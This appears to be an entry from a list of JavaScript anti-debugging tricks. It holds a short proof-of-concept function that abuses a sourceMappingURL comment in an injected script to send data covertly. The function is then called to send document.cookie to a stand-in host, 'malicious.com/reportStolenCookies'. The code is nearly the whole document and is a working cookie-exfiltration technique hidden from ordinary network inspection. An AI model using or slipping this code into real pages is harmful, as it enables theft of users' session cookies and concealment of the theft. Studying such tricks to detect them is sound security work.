awesome-javascript-anti-debugging

SourceMappingURL

POC

function  smap(url, data)  {
    const script = document.createElement('script');
    script.textContent =  `//# SourceMappingURL=${url}?data=${JSON.stringify(data)}`;
    document.head.appendChild(script);
    script.remove();
}

smap('https://malicious.com/reportStolenCookies',  {cookie: document.cookie});

Resources